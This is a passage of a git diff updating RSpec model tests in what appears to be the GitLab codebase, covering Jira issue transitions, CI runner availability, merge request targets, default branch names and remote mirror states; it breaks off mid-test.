let(:push_data) { { object_kind: 'push' } }
let(:project) { create(:project, :repository) }
diff --git a/spec/models/project_services/jira_service_spec.rb b/spec/models/project_services/jira_service_spec.rb
index 3fc39fd3266..b50fa1edbc3 100644
--- a/spec/models/project_services/jira_service_spec.rb
+++ b/spec/models/project_services/jira_service_spec.rb
@@ -82,11 +82,8 @@ RSpec.describe JiraService do
subject(:fields) { service.fields }
- it 'includes transition help link' do
- transition_id_field = fields.find { |field| field[:name] == 'jira_issue_transition_id' }
-
- expect(transition_id_field[:title]).to eq('Jira workflow transition IDs')
- expect(transition_id_field[:help]).to include('/help/user/project/integrations/jira')
+ it 'returns custom fields' do
+ expect(fields.pluck(:name)).to eq(%w[url api_url username password])
end
end
@@ -460,10 +457,10 @@ RSpec.describe JiraService do
end
context 'with options' do
- let(:issue_url) { "#{url}/rest/api/2/issue/#{issue_key}?expand=renderedFields" }
+ let(:issue_url) { "#{url}/rest/api/2/issue/#{issue_key}?expand=renderedFields,transitions" }
it 'calls the Jira API with the options to get the issue' do
- jira_service.find_issue(issue_key, rendered_fields: true)
+ jira_service.find_issue(issue_key, rendered_fields: true, transitions: true)
expect(WebMock).to have_requested(:get, issue_url)
end
@@ -494,7 +491,7 @@ RSpec.describe JiraService do
end
before do
- allow(jira_service).to receive_messages(jira_issue_transition_id: '999')
+ jira_service.jira_issue_transition_id = '999'
# These stubs are needed to test JiraService#close_issue.
# We close the issue then do another request to API to check if it got closed.
@@ -505,7 +502,7 @@ RSpec.describe JiraService do
allow(closed_issue).to receive(:resolution).and_return(true)
allow(JIRA::Resource::Issue).to receive(:find).and_return(open_issue, closed_issue)
- allow_any_instance_of(JIRA::Resource::Issue).to receive(:key).and_return('JIRA-123')
+ allow_any_instance_of(JIRA::Resource::Issue).to receive(:key).and_return(issue_key)
allow(JIRA::Resource::Remotelink).to receive(:all).and_return([])
WebMock.stub_request(:get, issue_url).with(basic_auth: %w(jira-username jira-password))
@@ -664,6 +661,61 @@ RSpec.describe JiraService do
).once
end
+ context 'when custom transition IDs are blank' do
+ before do
+ jira_service.jira_issue_transition_id = ''
+ end
+
+ it 'does not transition the issue' do
+ close_issue
+
+ expect(WebMock).not_to have_requested(:post, transitions_url)
+ end
+ end
+
+ context 'when using automatic issue transitions' do
+ let(:transitions) do
+ [
+ { id: '1' },
+ { id: '2', to: { statusCategory: { key: 'new' } } },
+ { id: '3', to: { statusCategory: { key: 'done' } } },
+ { id: '4', to: { statusCategory: { key: 'done' } } }
+ ]
+ end
+
+ before do
+ jira_service.jira_issue_transition_automatic = true
+
+ close_issue
+ end
+
+ it 'uses the next transition with a status category of done' do
+ expect(WebMock).to have_requested(:post, transitions_url).with(
+ body: /"id":"3"/
+ ).once
+ end
+
+ context 'when no done transition is available' do
+ let(:transitions) do
+ [
+ { id: '1', to: { statusCategory: { key: 'new' } } }
+ ]
+ end
+
+ it 'does not attempt to transition' do
+ expect(WebMock).not_to have_requested(:post, transitions_url)
+ end
+ end
+
+ context 'when no valid transitions are returned' do
+ let(:transitions) { 'foo' }
+
+ it 'does not attempt to transition' do
+ expect(WebMock).not_to have_requested(:post, transitions_url)
+ end
+ end
+ end
+
context 'when using multiple transition ids' do
before do
allow(jira_service).to receive_messages(jira_issue_transition_id: '1,2,3')
@@ -738,6 +790,7 @@ RSpec.describe JiraService do
describe '#create_cross_reference_note' do
let_it_be(:user) { build_stubbed(:user) }
+
let(:jira_issue) { ExternalIssue.new('JIRA-123', project) }
subject { jira_service.create_cross_reference_note(jira_issue, resource, user) }
@@ -902,4 +955,22 @@ RSpec.describe JiraService do
end
end
end
+
+ describe '#issue_transition_enabled?' do
+ it 'returns true if automatic transitions are enabled' do
+ jira_service.jira_issue_transition_automatic = true
+
+ expect(jira_service.issue_transition_enabled?).to be(true)
+ end
+
+ it 'returns true if custom transitions are set' do
+ jira_service.jira_issue_transition_id = '1, 2, 3'
+
+ expect(jira_service.issue_transition_enabled?).to be(true)
+ end
+
+ it 'returns false if automatic and custom transitions are disabled' do
+ expect(jira_service.issue_transition_enabled?).to be(false)
+ end
+ end
end
diff --git a/spec/models/project_services/jira_tracker_data_spec.rb b/spec/models/project_services/jira_tracker_data_spec.rb
index 46194efcb3d..a698d3fce5f 100644
--- a/spec/models/project_services/jira_tracker_data_spec.rb
+++ b/spec/models/project_services/jira_tracker_data_spec.rb
@@ -11,20 +11,9 @@ RSpec.describe JiraTrackerData do
it { is_expected.to define_enum_for(:deployment_type).with_values([:unknown, :server, :cloud]).with_prefix(:deployment) }
end
- describe 'proxy settings' do
- it { is_expected.to validate_length_of(:proxy_address).is_at_most(2048) }
- it { is_expected.to validate_length_of(:proxy_port).is_at_most(5) }
- it { is_expected.to validate_length_of(:proxy_username).is_at_most(255) }
- it { is_expected.to validate_length_of(:proxy_password).is_at_most(255) }
- end
-
describe 'encrypted attributes' do
subject { described_class.encrypted_attributes.keys }
- it {
- is_expected.to contain_exactly(
- :api_url, :password, :proxy_address, :proxy_password, :proxy_port, :proxy_username, :url, :username
- )
- }
+ it { is_expected.to contain_exactly(:api_url, :password, :url, :username) }
end
end
diff --git a/spec/models/project_services/prometheus_service_spec.rb b/spec/models/project_services/prometheus_service_spec.rb
index 366c3f68e1d..37a6d49ff74 100644
--- a/spec/models/project_services/prometheus_service_spec.rb
+++ b/spec/models/project_services/prometheus_service_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe PrometheusService, :use_clean_rails_memory_store_caching, :snowpl
include ReactiveCachingHelpers
let_it_be_with_reload(:project) { create(:prometheus_project) }
+
let(:service) { project.prometheus_service }
describe "Associations" do
@@ -337,6 +338,7 @@ RSpec.describe PrometheusService, :use_clean_rails_memory_store_caching, :snowpl
context 'cluster belongs to projects group' do
let_it_be(:group) { create(:group) }
+
let(:project) { create(:prometheus_project, group: group) }
let(:cluster) { create(:cluster_for_group, :with_installed_helm, groups: [group]) }
diff --git a/spec/models/project_services/slack_service_spec.rb b/spec/models/project_services/slack_service_spec.rb
index aa5d92e5c61..688a59fcf09 100644
--- a/spec/models/project_services/slack_service_spec.rb
+++ b/spec/models/project_services/slack_service_spec.rb
@@ -32,6 +32,7 @@ RSpec.describe SlackService do
context 'event is not supported for usage log' do
let_it_be(:pipeline) { create(:ci_pipeline) }
+
let(:data) { Gitlab::DataBuilder::Pipeline.build(pipeline) }
it 'does not increase the usage data counter' do
@@ -43,6 +44,7 @@ RSpec.describe SlackService do
context 'issue notification' do
let_it_be(:issue) { create(:issue) }
+
let(:data) { issue.to_hook_data(user) }
it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_issue_notification'
@@ -56,6 +58,7 @@ RSpec.describe SlackService do
context 'deployment notification' do
let_it_be(:deployment) { create(:deployment, user: user) }
+
let(:data) { Gitlab::DataBuilder::Deployment.build(deployment) }
it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_deployment_notification'
@@ -63,6 +66,7 @@ RSpec.describe SlackService do
context 'wiki_page notification' do
let_it_be(:wiki_page) { create(:wiki_page, wiki: project.wiki, message: 'user created page: Awesome wiki_page') }
+
let(:data) { Gitlab::DataBuilder::WikiPage.build(wiki_page, user, 'create') }
it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_wiki_page_notification'
@@ -70,6 +74,7 @@ RSpec.describe SlackService do
context 'merge_request notification' do
let_it_be(:merge_request) { create(:merge_request) }
+
let(:data) { merge_request.to_hook_data(user) }
it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_merge_request_notification'
@@ -77,6 +82,7 @@ RSpec.describe SlackService do
context 'note notification' do
let_it_be(:issue_note) { create(:note_on_issue, note: 'issue note') }
+
let(:data) { Gitlab::DataBuilder::Note.build(issue_note, user) }
it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_note_notification'
@@ -93,6 +99,7 @@ RSpec.describe SlackService do
context 'confidential note notification' do
let_it_be(:confidential_issue_note) { create(:note_on_issue, note: 'issue note', confidential: true) }
+
let(:data) { Gitlab::DataBuilder::Note.build(confidential_issue_note, user) }
it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_confidential_note_notification'
@@ -100,6 +107,7 @@ RSpec.describe SlackService do
context 'confidential issue notification' do
let_it_be(:issue) { create(:issue, confidential: true) }
+
let(:data) { issue.to_hook_data(user) }
it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_confidential_issue_notification'
diff --git a/spec/models/project_spec.rb b/spec/models/project_spec.rb
index 49d9fd56d70..12c17e699e3 100644
--- a/spec/models/project_spec.rb
+++ b/spec/models/project_spec.rb
@@ -891,6 +891,7 @@ RSpec.describe Project, factory_default: :keep do
describe '#get_issue' do
let_it_be(:project) { create(:project) }
let_it_be(:user) { create(:user) }
+
let!(:issue) { create(:issue, project: project) }
before_all do
@@ -1351,6 +1352,34 @@ RSpec.describe Project, factory_default: :keep do
end
end
+ describe '.with_remote_mirrors' do
+ let_it_be(:project) { create(:project, :repository) }
+
+ subject { described_class.with_remote_mirrors }
+
+ context 'when some remote mirrors are enabled for the project' do
+ let!(:remote_mirror) { create(:remote_mirror, project: project, enabled: true) }
+
+ it "returns a project" do
+ is_expected.to eq([project])
+ end
+ end
+
+ context 'when some remote mirrors exists but disabled for the project' do
+ let!(:remote_mirror) { create(:remote_mirror, project: project, enabled: false) }
+
+ it "returns a project" do
+ is_expected.to be_empty
+ end
+ end
+
+ context 'when no remote mirrors exist for the project' do
+ it "returns an empty list" do
+ is_expected.to be_empty
+ end
+ end
+ end
+
describe '.with_active_jira_services' do
it 'returns the correct project' do
active_jira_service = create(:jira_service)
@@ -1600,6 +1629,8 @@ RSpec.describe Project, factory_default: :keep do
end
describe '#any_active_runners?' do
+ subject { project.any_active_runners? }
+
context 'shared runners' do
let(:project) { create(:project, shared_runners_enabled: shared_runners_enabled) }
let(:specific_runner) { create(:ci_runner, :project, projects: [project]) }
@@ -1609,19 +1640,19 @@ RSpec.describe Project, factory_default: :keep do
let(:shared_runners_enabled) { false }
it 'has no runners available' do
- expect(project.any_active_runners?).to be_falsey
+ is_expected.to be_falsey
end
it 'has a specific runner' do
specific_runner
- expect(project.any_active_runners?).to be_truthy
+ is_expected.to be_truthy
end
it 'has a shared runner, but they are prohibited to use' do
shared_runner
- expect(project.any_active_runners?).to be_falsey
+ is_expected.to be_falsey
end
it 'checks the presence of specific runner' do
@@ -1643,7 +1674,7 @@ RSpec.describe Project, factory_default: :keep do
it 'has a shared runner' do
shared_runner
- expect(project.any_active_runners?).to be_truthy
+ is_expected.to be_truthy
end
it 'checks the presence of shared runner' do
@@ -1669,13 +1700,13 @@ RSpec.describe Project, factory_default: :keep do
let(:group_runners_enabled) { false }
it 'has no runners available' do
- expect(project.any_active_runners?).to be_falsey
+ is_expected.to be_falsey
end
it 'has a group runner, but they are prohibited to use' do
group_runner
- expect(project.any_active_runners?).to be_falsey
+ is_expected.to be_falsey
end
end
@@ -1685,7 +1716,7 @@ RSpec.describe Project, factory_default: :keep do
it 'has a group runner' do
group_runner
- expect(project.any_active_runners?).to be_truthy
+ is_expected.to be_truthy
end
it 'checks the presence of group runner' do
@@ -1703,6 +1734,126 @@ RSpec.describe Project, factory_default: :keep do
end
end
+ describe '#any_online_runners?' do
+ subject { project.any_online_runners? }
+
+ context 'shared runners' do
+ let(:project) { create(:project, shared_runners_enabled: shared_runners_enabled) }
+ let(:specific_runner) { create(:ci_runner, :project, :online, projects: [project]) }
+ let(:shared_runner) { create(:ci_runner, :instance, :online) }
+ let(:offline_runner) { create(:ci_runner, :instance) }
+
+ context 'for shared runners disabled' do
+ let(:shared_runners_enabled) { false }
+
+ it 'has no runners available' do
+ is_expected.to be_falsey
+ end
+
+ it 'has a specific runner' do
+ specific_runner
+
+ is_expected.to be_truthy
+ end
+
+ it 'has a shared runner, but they are prohibited to use' do
+ shared_runner
+
+ is_expected.to be_falsey
+ end
+
+ it 'checks the presence of specific runner' do
+ specific_runner
+
+ expect(project.any_online_runners? { |runner| runner == specific_runner }).to be_truthy
+ end
+
+ it 'returns false if match cannot be found' do
+ specific_runner
+
+ expect(project.any_online_runners? { false }).to be_falsey
+ end
+
+ it 'returns false if runner is offline' do
+ offline_runner
+
+ is_expected.to be_falsey
+ end
+ end
+
+ context 'for shared runners enabled' do
+ let(:shared_runners_enabled) { true }
+
+ it 'has a shared runner' do
+ shared_runner
+
+ is_expected.to be_truthy
+ end
+
+ it 'checks the presence of shared runner' do
+ shared_runner
+
+ expect(project.any_online_runners? { |runner| runner == shared_runner }).to be_truthy
+ end
+
+ it 'returns false if match cannot be found' do
+ shared_runner
+
+ expect(project.any_online_runners? { false }).to be_falsey
+ end
+ end
+ end
+
+ context 'group runners' do
+ let(:project) { create(:project, group_runners_enabled: group_runners_enabled) }
+ let(:group) { create(:group, projects: [project]) }
+ let(:group_runner) { create(:ci_runner, :group, :online, groups: [group]) }
+ let(:offline_runner) { create(:ci_runner, :group, groups: [group]) }
+
+ context 'for group runners disabled' do
+ let(:group_runners_enabled) { false }
+
+ it 'has no runners available' do
+ is_expected.to be_falsey
+ end
+
+ it 'has a group runner, but they are prohibited to use' do
+ group_runner
+
+ is_expected.to be_falsey
+ end
+ end
+
+ context 'for group runners enabled' do
+ let(:group_runners_enabled) { true }
+
+ it 'has a group runner' do
+ group_runner
+
+ is_expected.to be_truthy
+ end
+
+ it 'has an offline group runner' do
+ offline_runner
+
+ is_expected.to be_falsey
+ end
+
+ it 'checks the presence of group runner' do
+ group_runner
+
+ expect(project.any_online_runners? { |runner| runner == group_runner }).to be_truthy
+ end
+
+ it 'returns false if match cannot be found' do
+ group_runner
+
+ expect(project.any_online_runners? { false }).to be_falsey
+ end
+ end
+ end
+ end
+
describe '#shared_runners' do
let!(:runner) { create(:ci_runner, :instance) }
@@ -2378,6 +2529,7 @@ RSpec.describe Project, factory_default: :keep do
describe '#latest_pipeline' do
let_it_be(:project) { create(:project, :repository) }
+
let(:second_branch) { project.repository.branches[2] }
let!(:pipeline_for_default_branch) do
@@ -2842,6 +2994,7 @@ RSpec.describe Project, factory_default: :keep do
describe '#emails_disabled?' do
let_it_be(:namespace) { create(:namespace) }
+
let(:project) { build(:project, namespace: namespace, emails_disabled: false) }
context 'emails disabled in group' do
@@ -3162,6 +3315,7 @@ RSpec.describe Project, factory_default: :keep do
describe '#ci_variables_for' do
let_it_be(:project) { create(:project) }
+
let(:environment_scope) { '*' }
let!(:ci_variable) do
@@ -3649,49 +3803,74 @@ RSpec.describe Project, factory_default: :keep do
end
describe '#default_merge_request_target' do
+ let_it_be(:project) { create(:project, :public) }
+
+ let!(:forked) { fork_project(project) }
+
+ context 'when mr_default_target_self is set to true' do
+ it 'returns the current project' do
+ expect(forked.project_setting).to receive(:mr_default_target_self)
+ .and_return(true)
+
+ expect(forked.default_merge_request_target).to eq(forked)
+ end
+ end
+
+ context 'when merge request can not target upstream' do
+ it 'returns the current project' do
+ expect(forked).to receive(:mr_can_target_upstream?).and_return(false)
+
+ expect(forked.default_merge_request_target).to eq(forked)
+ end
+ end
+
+ context 'when merge request can target upstream' do
+ it 'returns the source project' do
+ expect(forked).to receive(:mr_can_target_upstream?).and_return(true)
+
+ expect(forked.default_merge_request_target).to eq(project)
+ end
+ end
+ end
+
+ describe '#mr_can_target_upstream?' do
+ let_it_be(:project) { create(:project, :public) }
+
+ let!(:forked) { fork_project(project) }
+
context 'when forked from a more visible project' do
- it 'returns the more restrictive project' do
- project = create(:project, :public)
- forked = fork_project(project)
+ it 'can not target the upstream project' do
forked.visibility = Gitlab::VisibilityLevel::PRIVATE
forked.save!
expect(project.visibility).to eq 'public'
expect(forked.visibility).to eq 'private'
- expect(forked.default_merge_request_target).to eq(forked)
+ expect(forked.mr_can_target_upstream?).to be_falsey
end
end
context 'when forked from a project with disabled merge requests' do
- it 'returns the current project' do
- project = create(:project, :merge_requests_disabled)
- forked = fork_project(project)
+ it 'can not target the upstream project' do
+ project.project_feature
+ .update!(merge_requests_access_level: ProjectFeature::DISABLED)
expect(forked.forked_from_project).to receive(:merge_requests_enabled?)
.and_call_original
- expect(forked.default_merge_request_target).to eq(forked)
+ expect(forked.mr_can_target_upstream?).to be_falsey
end
end
context 'when forked from a project with enabled merge requests' do
- it 'returns the source project' do
- project = create(:project, :public)
- forked = fork_project(project)
-
- expect(project.visibility).to eq 'public'
- expect(forked.visibility).to eq 'public'
-
- expect(forked.default_merge_request_target).to eq(project)
+ it 'can target the upstream project' do
+ expect(forked.mr_can_target_upstream?).to be_truthy
end
end
context 'when not forked' do
- it 'returns the current project' do
- project = build_stubbed(:project)
-
- expect(project.default_merge_request_target).to eq(project)
+ it 'can not target the upstream project' do
+ expect(project.mr_can_target_upstream?).to be_falsey
end
end
end
@@ -4007,6 +4186,7 @@ RSpec.describe Project, factory_default: :keep do
include ProjectHelpers
let_it_be(:group) { create(:group) }
+
let!(:project) { create(:project, project_level, namespace: group ) }
let(:user) { create_user_from_membership(project, membership) }
@@ -4109,7 +4289,7 @@ RSpec.describe Project, factory_default: :keep do
subject { described_class.wrap_with_cte(projects) }
it 'wrapped query matches original' do
- expect(subject.to_sql).to match(/^WITH "projects_cte" AS/)
+ expect(subject.to_sql).to match(/^WITH "projects_cte" AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported}/)
expect(subject).to match_array(projects)
end
end
@@ -4200,7 +4380,7 @@ RSpec.describe Project, factory_default: :keep do
end
it 'does nothing if updates on legacy storage are disabled' do
- stub_feature_flags(pages_update_legacy_storage: false)
+ allow(Settings.pages.local_store).to receive(:enabled).and_return(false)
expect(Gitlab::PagesTransfer).not_to receive(:new)
expect(PagesWorker).not_to receive(:perform_in)
@@ -4272,6 +4452,7 @@ RSpec.describe Project, factory_default: :keep do
context 'legacy storage' do
let_it_be(:project) { create(:project, :repository, :legacy_storage) }
+
let(:gitlab_shell) { Gitlab::Shell.new }
let(:project_storage) { project.send(:storage) }
@@ -4371,6 +4552,7 @@ RSpec.describe Project, factory_default: :keep do
context 'hashed storage' do
let_it_be(:project) { create(:project, :repository, skip_disk_validation: true) }
+
let(:gitlab_shell) { Gitlab::Shell.new }
let(:hash) { Digest::SHA2.hexdigest(project.id.to_s) }
let(:hashed_prefix) { File.join('@hashed', hash[0..1], hash[2..3]) }
@@ -4461,6 +4643,7 @@ RSpec.describe Project, factory_default: :keep do
describe '#has_ci?' do
let_it_be(:project, reload: true) { create(:project) }
+
let(:repository) { double }
before do
@@ -4957,6 +5140,7 @@ RSpec.describe Project, factory_default: :keep do
context 'branch protection' do
let_it_be(:namespace) { create(:namespace) }
+
let(:project) { create(:project, :repository, namespace: namespace) }
before do
@@ -5041,57 +5225,27 @@ RSpec.describe Project, factory_default: :keep do
end
describe '#default_branch' do
- context 'with an empty repository' do
- let_it_be(:project) { create(:project_empty_repo) }
-
- context 'group.default_branch_name is available' do
- let(:project_group) { create(:group) }
- let(:project) { create(:project, path: 'avatar', namespace: project_group) }
+ context 'with default_branch_name' do
+ let_it_be_with_refind(:root_group) { create(:group) }
+ let_it_be_with_refind(:project_group) { create(:group, parent: root_group) }
+ let_it_be_with_refind(:project) { create(:project, path: 'avatar', namespace: project_group) }
- before do
- expect(Gitlab::CurrentSettings)
- .not_to receive(:default_branch_name)
-
- expect(project.group)
- .to receive(:default_branch_name)
- .and_return('example_branch')
- end
-
- it 'returns the group default value' do
- expect(project.default_branch).to eq('example_branch')
- end
+ where(:instance_branch, :root_group_branch, :project_group_branch, :project_branch) do
+ '' | nil | nil | nil
+ nil | nil | nil | nil
+ 'main' | nil | nil | 'main'
+ 'main' | 'root_branch' | nil | 'root_branch'
+ 'main' | 'root_branch' | 'group_branch' | 'group_branch'
end
- context 'Gitlab::CurrentSettings.default_branch_name is available' do
+ with_them do
before do
- expect(Gitlab::CurrentSettings)
- .to receive(:default_branch_name)
- .and_return(example_branch_name)
- end
-
- context 'is missing or nil' do
- let(:example_branch_name) { nil }
-
- it "returns nil" do
- expect(project.default_branch).to be_nil
- end
- end
-
- context 'is blank' do
- let(:example_branch_name) { '' }
-
- it 'returns nil' do
- expect(project.default_branch).to be_nil
- end
+ allow(Gitlab::CurrentSettings).to receive(:default_branch_name).and_return(instance_branch)
+ root_group.namespace_settings.update!(default_branch_name: root_group_branch)
+ project_group.namespace_settings.update!(default_branch_name: project_group_branch)
end
- context 'is present' do
- let(:example_branch_name) { 'example_branch_name' }
-
- it 'returns the expected branch name' do
- expect(project.default_branch).to eq(example_branch_name)
- end
- end
+ it { expect(project.default_branch).to eq(project_branch) }
end
end
end
@@ -5636,16 +5790,34 @@ RSpec.describe Project, factory_default: :keep do
end
describe '#find_or_initialize_services' do
- before do
- allow(Service).to receive(:available_services_names).and_return(%w[prometheus pushover teamcity])
- allow(subject).to receive(:disabled_services).and_return(%w[prometheus])
+ let_it_be(:subject) { create(:project) }
+
+ it 'avoids N+1 database queries' do
+ control_count = ActiveRecord::QueryRecorder.new { subject.find_or_initialize_services }.count
+
+ expect(control_count).to be <= 4
end
- it 'returns only enabled services' do
- services = subject.find_or_initialize_services
+ it 'avoids N+1 database queries with more available services' do
+ allow(Service).to receive(:available_services_names).and_return(%w[pushover])
+ control_count = ActiveRecord::QueryRecorder.new { subject.find_or_initialize_services }
- expect(services.count).to eq(2)
- expect(services.map(&:title)).to eq(['JetBrains TeamCity CI', 'Pushover'])
+ allow(Service).to receive(:available_services_names).and_call_original
+ expect { subject.find_or_initialize_services }.not_to exceed_query_limit(control_count)
+ end
+
+ context 'with disabled services' do
+ before do
+ allow(Service).to receive(:available_services_names).and_return(%w[prometheus pushover teamcity])
+ allow(subject).to receive(:disabled_services).and_return(%w[prometheus])
+ end
+
+ it 'returns only enabled services sorted' do
+ services = subject.find_or_initialize_services
+
+ expect(services.size).to eq(2)
+ expect(services.map(&:title)).to eq(['JetBrains TeamCity', 'Pushover'])
+ end
end
end
@@ -6074,12 +6246,15 @@ RSpec.describe Project, factory_default: :keep do
project.set_first_pages_deployment!(deployment)
expect(project.pages_metadatum.reload.pages_deployment).to eq(deployment)
+ expect(project.pages_metadatum.reload.deployed).to eq(true)
end
it "updates the existing metadara record with deployment" do
expect do
project.set_first_pages_deployment!(deployment)
end.to change { project.pages_metadatum.reload.pages_deployment }.from(nil).to(deployment)
+
+ expect(project.pages_metadatum.reload.deployed).to eq(true)
end
it 'only updates metadata for this project' do
@@ -6088,6 +6263,8 @@ RSpec.describe Project, factory_default: :keep do
expect do
project.set_first_pages_deployment!(deployment)
end.not_to change { other_project.pages_metadatum.reload.pages_deployment }.from(nil)
+
+ expect(other_project.pages_metadatum.reload.deployed).to eq(false)
end
it 'does nothing if metadata already references some deployment' do
@@ -6098,6 +6275,14 @@ RSpec.describe Project, factory_default: :keep do
project.set_first_pages_deployment!(deployment)
end.not_to change { project.pages_metadatum.reload.pages_deployment }.from(existing_deployment)
end
+
+ it 'marks project as not deployed if deployment is nil' do
+ project.mark_pages_as_deployed
+
+ expect do
+ project.set_first_pages_deployment!(nil)
+ end.to change { project.pages_metadatum.reload.deployed }.from(true).to(false)
+ end
end
describe '#has_pool_repsitory?' do
@@ -6556,6 +6741,7 @@ RSpec.describe Project, factory_default: :keep do
describe '#latest_jira_import' do
let_it_be(:project) { create(:project) }
+
context 'when no jira imports' do
it 'returns nil' do
expect(project.latest_jira_import).to be nil
diff --git a/spec/models/protected_tag_spec.rb b/spec/models/protected_tag_spec.rb
index 7bc62b1d0e7..e5cee6f18cd 100644
--- a/spec/models/protected_tag_spec.rb
+++ b/spec/models/protected_tag_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe ProtectedTag do
describe 'Associations' do
- it { is_expected.to belong_to(:project) }
+ it { is_expected.to belong_to(:project).touch(true) }
end
describe 'Validation' do
diff --git a/spec/models/raw_usage_data_spec.rb b/spec/models/raw_usage_data_spec.rb
index 7acfb8c19af..6ff4c6eb19b 100644
--- a/spec/models/raw_usage_data_spec.rb
+++ b/spec/models/raw_usage_data_spec.rb
@@ -13,14 +13,20 @@ RSpec.describe RawUsageData do
it { is_expected.to validate_uniqueness_of(:recorded_at) }
end
- describe '#update_sent_at!' do
+ describe '#update_version_metadata!' do
let(:raw_usage_data) { create(:raw_usage_data) }
it 'updates sent_at' do
- raw_usage_data.update_sent_at!
+ raw_usage_data.update_version_metadata!(usage_data_id: 123)
expect(raw_usage_data.sent_at).not_to be_nil
end
+
+ it 'updates version_usage_data_id_value' do
+ raw_usage_data.update_version_metadata!(usage_data_id: 123)
+
+ expect(raw_usage_data.version_usage_data_id_value).not_to be_nil
+ end
end
end
end
diff --git a/spec/models/release_highlight_spec.rb b/spec/models/release_highlight_spec.rb
index 60087278671..673451b5e76 100644
--- a/spec/models/release_highlight_spec.rb
+++ b/spec/models/release_highlight_spec.rb
@@ -13,26 +13,6 @@ RSpec.describe ReleaseHighlight, :clean_gitlab_redis_cache do
ReleaseHighlight.instance_variable_set(:@file_paths, nil)
end
- describe '.for_version' do
- subject { ReleaseHighlight.for_version(version: version) }
-
- let(:version) { '1.1' }
-
- context 'with version param that exists' do
- it 'returns items from that version' do
- expect(subject.items.first['title']).to eq("It's gonna be a bright")
- end
- end
-
- context 'with version param that does NOT exist' do
- let(:version) { '84.0' }
-
- it 'returns nil' do
- expect(subject).to be_nil
- end
- end
- end
-
describe '.paginated' do
let(:dot_com) { false }
@@ -143,28 +123,27 @@ RSpec.describe ReleaseHighlight, :clean_gitlab_redis_cache do
end
end
- describe '.versions' do
- subject { described_class.versions }
+ describe '.most_recent_version_digest' do
+ subject { ReleaseHighlight.most_recent_version_digest }
it 'uses process memory cache' do
- expect(Gitlab::ProcessMemoryCache.cache_backend).to receive(:fetch).with("release_highlight:versions:#{Gitlab.revision}", { expires_in: described_class::CACHE_DURATION })
+ expect(Gitlab::ProcessMemoryCache.cache_backend).to receive(:fetch).with("release_highlight:most_recent_version_digest:#{Gitlab.revision}", expires_in: described_class::CACHE_DURATION)
subject
end
- it 'returns versions from the file paths' do
- expect(subject).to eq(['1.5', '1.2', '1.1'])
+ context 'when recent release items exist' do
+ it 'returns a digest from the release of the first item of the most recent file' do
+ # this value is coming from fixture data
+ expect(subject).to eq(Digest::SHA256.hexdigest('01.05'))
+ end
end
- context 'when there are more than 12 versions' do
- let(:file_paths) do
- i = 0
- Array.new(20) { "20201225_01_#{i += 1}.yml" }
- end
+ context 'when recent release items do NOT exist' do
+ it 'returns nil' do
+ allow(ReleaseHighlight).to receive(:paginated).and_return(nil)
- it 'limits to 12 versions' do
- allow(ReleaseHighlight).to receive(:file_paths).and_return(file_paths)
- expect(subject.count).to eq(12)
+ expect(subject).to be_nil
end
end
end
diff --git a/spec/models/release_spec.rb b/spec/models/release_spec.rb
index 209ac471210..540a8068b20 100644
--- a/spec/models/release_spec.rb
+++ b/spec/models/release_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe Release do
it { expect(release).to be_valid }
describe 'associations' do
- it { is_expected.to belong_to(:project) }
+ it { is_expected.to belong_to(:project).touch(true) }
it { is_expected.to belong_to(:author).class_name('User') }
it { is_expected.to have_many(:links).class_name('Releases::Link') }
it { is_expected.to have_many(:milestones) }
diff --git a/spec/models/remote_mirror_spec.rb b/spec/models/remote_mirror_spec.rb
index 4c3151f431c..d6951b5926e 100644
--- a/spec/models/remote_mirror_spec.rb
+++ b/spec/models/remote_mirror_spec.rb
@@ -263,6 +263,30 @@ RSpec.describe RemoteMirror, :mailer do
end
end
+ describe '#hard_retry!' do
+ let(:remote_mirror) { create(:remote_mirror).tap {|mirror| mirror.update_column(:url, 'invalid') } }
+
+ it 'transitions an invalid mirror to the to_retry state' do
+ remote_mirror.hard_retry!('Invalid')
+
+ expect(remote_mirror.update_status).to eq('to_retry')
+ expect(remote_mirror.last_error).to eq('Invalid')
+ end
+ end
+
+ describe '#hard_fail!' do
+ let(:remote_mirror) { create(:remote_mirror).tap {|mirror| mirror.update_column(:url, 'invalid') } }
+
+ it 'transitions an invalid mirror to the failed state' do
+ remote_mirror.hard_fail!('Invalid')
+
+ expect(remote_mirror.update_status).to eq('failed')
+ expect(remote_mirror.last_error).to eq('Invalid')
+ expect(remote_mirror.last_update_at).not_to be_nil
+ expect(RemoteMirrorNotificationWorker.jobs).not_to be_empty
+ end
+ end
+
context 'when remote mirror gets destroyed' do
it 'removes remote' do
mirror = create_mirror(url: 'http://foo:bar@test.com')
diff --git a/spec/models/repository_spec.rb b/spec/models/repository_spec.rb
index 84347ec2a51..a739f523008 100644
--- a/spec/models/repository_spec.rb
+++ b/spec/models/repository_spec.rb
@@ -170,6 +170,22 @@ RSpec.describe Repository do
end
end
+ describe '#search_branch_names' do
+ subject(:search_branch_names) { repository.search_branch_names('conflict-*') }
+
+ it 'returns matching branch names' do
+ expect(search_branch_names).to contain_exactly(
+ 'conflict-binary-file',
+ 'conflict-resolvable',
+ 'conflict-contains-conflict-markers',
+ 'conflict-missing-side',
+ 'conflict-start',
+ 'conflict-non-utf8',
+ 'conflict-too-large'
+ )
+ end
+ end
+
describe '#list_last_commits_for_tree' do
let(:path_to_commit) do
{
@@ -977,6 +993,57 @@ RSpec.describe Repository do
end
end
+ describe '#search_files_by_wildcard_path' do
+ let(:ref) { 'master' }
+
+ subject(:result) { repository.search_files_by_wildcard_path(path, ref) }
+
+ context 'when specifying a normal path' do
+ let(:path) { 'files/images/logo-black.png' }
+
+ it 'returns the path' do
+ expect(result).to eq(['files/images/logo-black.png'])
+ end
+ end
+
+ context 'when specifying a path with wildcard' do
+ let(:path) { 'files/*/*.png' }
+
+ it 'returns all files matching the path' do
+ expect(result).to contain_exactly('files/images/logo-black.png',
+ 'files/images/logo-white.png')
+ end
+ end
+
+ context 'when specifying an extension with wildcard' do
+ let(:path) { '*.rb' }
+
+ it 'returns all files matching the extension' do
